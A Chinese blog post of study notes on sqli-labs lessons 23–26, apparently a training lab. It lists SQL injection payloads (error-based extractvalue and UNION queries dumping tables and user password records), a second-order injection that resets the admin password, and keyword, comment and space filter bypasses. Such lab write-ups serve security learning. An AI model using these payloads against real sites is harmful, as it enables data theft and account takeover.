DAY 4

sqli-labs lesson 23

  • 与lesson 1一样,只不过屏蔽了#和–注释符。
  • 报错型注入:
    • 爆库:id=99’ UNION SELECT 1,extractvalue(1,concat(0x7e,(database()),0x7e)),'3
    • 爆表:?id=99’ UNION SELECT 1,extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),0x7e)),'3
    • 爆字段:?id=99’ UNION SELECT 1,extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’),0x7e)),'3
    • 爆记录:?id=99’ UNION SELECT 1,extractvalue(1,concat(0x7e,(select concat_ws(’,’,username,password) from security.users limit n,1),0x7e)),'3
  • 联合查询
    • 爆库:?id=99’ UNION SELECT 1,database(),'3
    • 爆表:?id=99’ UNION SELECT 1,(SELECT group_concat(table_name) from information_schema.tables where table_schema=‘security’),'3
    • 爆字段:?id=99’ UNION SELECT 1,(SELECT group_concat(column_name) from information_schema.columns where table_name=‘users’),'3
    • 爆记录:?id=99’ UNION SELECT 1,(SELECT group_concat(concat_ws(’;’,username,password)) from security.users ),'3

sqli-labs lesson 24

  • 预备知识:什么是二次注入

    • 简单的说,就是在第一次注入时,注入的SQL语句被转义了,从而直接存储到了数据库中,因此,在第二次注入时,直接调用了原始内容进行操作,从而导致注入成功。
  • 注册admin’;#账号



  • 从修改密码的源代码可以看到这一句:
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
  • 登陆admin’;#
  • 这时,我们修改密码,形成的SQL语句将是:
UPDATE users SET PASSWORD='$pass' where username='admin';#' and password='$curr_pass'

显然,我们把admin用户的密码给改了!

  • 尝试用新密码登陆admin账户:



    成功了!

sqli-labs lesson 25

  • 这里过滤了or和and,可以用||和&&(&是URL参数分隔符,需要编码使用)代替,但是也会有问题,单词中的or也被过滤了,查看源代码,发现只是把or和and进行了一次过滤,并且还是替换成了空字符,所以也很好办,比如information,只要写成infoorrmation就可以了。

sqli-labs lesson 25a

  • 与上一题一样,只是参数是数值型并且没有错误显示了,无法使用报错型注入而已。

sqli-labs lesson 26

  • 过滤加强了!
function blacklist($id)
{
	$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
	$id= preg_replace('/and/i',"", $id);		//Strip out AND (non case sensitive)
	$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
	$id= preg_replace('/[--]/',"", $id);		//Strip out --
	$id= preg_replace('/[#]/',"", $id);			//Strip out #
	$id= preg_replace('/[\s]/',"", $id);		//Strip out spaces
	$id= preg_replace('/[\/\\\\]/',"", $id);		//Strip out slashes
	return $id;
}
  • 最麻烦的就是空格的过滤了,如果服务器是Linux的,可以使用%a0特殊字符代替,否则,可以使用括号来绕过
  • 直接报错型注入
  • 爆库:?id=99’||extractvalue(1,concat(0x7e,(database()),0x7e))||'3
  • 爆表:?id=99’||extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=‘security’)),0x7e))||'1
  • 爆字段:?id=99’||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name=‘users’%26%26table_schema=‘security’)),0x7e))||'1
  • 爆记录:?id=99’||extractvalue(1,concat(0x7e,(select(group_concat(concat_ws(";",username,passwoorrd)))from(security.users)),0x7e))||'1
  • 由于报错型注入返回的长度有限制,而limit的参数无法用括号包围,可以使用where限制语句直接找出admin的记录,也可以使用mid函数来截取。

sqli-labs学习笔记 DAY4的更多相关文章

  1. OpenCV图像处理学习笔记-Day4(完结)

    OpenCV图像处理学习笔记-Day4(完结) 第41课:使用OpenCV统计直方图 第42课:绘制OpenCV统计直方图 pass 第43课:使用掩膜的直方图 第44课:掩膜原理及演示 第45课:直 ...

  2. HTML学习笔记Day4

    一.浮动属性 1.首先要知道,div是块级元素,在页面中独占一行,自上而下排列,也就是传说中的流: 无论多么复杂的布局,其基本出发点均是:“如何在一行显示多个div元素”: 显然标准流已经无法满足需求 ...

  3. Python学习笔记 - day4 - 流程控制

    Python流程控制 Python中的流程控制主要包含两部分:条件判断和循环. Python的缩进和语法 为什么要在这里说缩进和语法,是因为将要学习的条件判断和分支将会涉及到多行代码,在java.c等 ...

  4. Sqli - Labs 靶场笔记(一)

    Less - 1: 页面: URL: http://127.0.0.1/sqli-labs-master/Less-1/ 测试: 1.回显正常,说明不是数字型注入, http://127.0.0.1/ ...

  5. Python学习笔记——Day4

    字符串操作 string典型的内置方法: count() center() startswith() find() format() lower() upper() strip() replace() ...

  6. python学习笔记-Day4(2)

    正则表达式 语法: import re #导入模块名 p = re.compile("^[0-9]") #生成要匹配的正则对象 , ^代表从开头匹配,[0-9]代表匹配0至9的任意 ...

  7. python学习笔记-day4笔记 常用内置函数与装饰器

    1.常用的python函数 abs             求绝对值 all               判断迭代器中所有的数据是否为真或者可迭代数据为空,返回真,否则返回假 any          ...

  8. python 网络爬虫与信息提取 学习笔记day4

    正则表达式简介: 简洁表示一组字符串的特征或者模式,在文本处理中十分常用,主要应用于字符串匹配中 1.  通用的字符串表达框架 2.  简洁表达一组字符串的表达式 3.  针对字符串表达简洁和特征思想 ...

  9. JS学习笔记Day4

    一.什么是函数 将反复使用的功能代码,封装成一独立的模块,这个模块叫做函数 二.封装函数的好处 1.一次封装,多次使用 2.使程序可控 三.函数的分类:内置()函数和自定义函数 四.函数的数据类型(f ...

  10. python学习笔记-Day4(1)

    迭代器 迭代器是访问集合元素的一种方式.迭代器对象从集合的第一个元素开始访问,直到所有的元素被访问完结束.迭代器只能往前不会后退,不过这也没什么,因为人们很少在迭代途中往后退.另外,迭代器的一大优点是 ...

随机推荐

  1. 在Windows10中更改”WIN+E“快捷键打开目标

    1> 复制下面代码到记事本保存为launch.vbs 2> 然后打开Regedit.exe并创建以下注册表分支 HKCU:\Software\Classes\CLSID\{52205fd8 ...

  2. webpack超详细配置, 使用教程(图文)

    流程 webpack安装 Step 1: 首先安装Node.js, 可以去Node.js官网下载. Step2: 在Git或者cmd中输入下面这段代码, 通过全局先将webpack指令安装进电脑中np ...

  3. NRF52832 能烧写代码 但是不运行 ,是因为没有烧写协议栈

    仿真进入的状态 , MOVES R0.R0 请烧写  协议栈 ,自行百度!

  4. bat设置windows计划任务

    设置定时任务 @echo off set NAME=dailybackup :: set DAY=MON,TUE,WED,THU,FRI,SAT,SUN set COMMAND=cscript.exe ...

  5. java crm 进销存 springmvc SSM 项目 系统 源码

    系统介绍: 1.系统采用主流的 SSM 框架 jsp JSTL bootstrap html5 (PC浏览器使用) 2.springmvc +spring4.3.7+ mybaits3.3  SSM ...

  6. 转换CLOB字段类型为VARCHAR2, lob类型不支持的sql语句

    转自:https://blog.csdn.net/e_wsq/article/details/7561209 步骤: 1.建立一个临时varchar2字段用来保存数据 2.将clob的内容截取后更新到 ...

  7. mysql命令框中向表中插入中文字符,在可视化工具MySQL Workbeach或phpMyAdmin中不显示或显示乱码的问题解决

     一.问题导出 在刚刚开始学习MySQL数据库应用与开发这门课程的时候,老师建议我们使用可视化工具MySQL Workbeach进行数据库的相关管理,但是小编在mysql命令框使用insert命令向表 ...

  8. Kafka基础认识

    1):Apache kafka介绍及架构详解 假设一个场景: 数据源: 应用系统A 产生的用户访问数据和订单数据 10000 条一秒钟 push:推送数据 消息系统:队列 产生的数据量>数据量 ...

  9. android6.0系统Healthd分析及低电量自动关机流程

    系统平台:android6.0概述Healthd是android4.4之后提出来的一种中介模型,该模型向下监听来自底层的电池事件,向上传递电池数据信息给Framework层的BatteryServic ...

  10. webdriver 获取页面response

    在selenium webdriver实现自动化抓取数据过程中,发现无法从webdriver获取页面response 查来查去最终在 stackoverflow 上找到了这一篇文章 文章中说:webd ...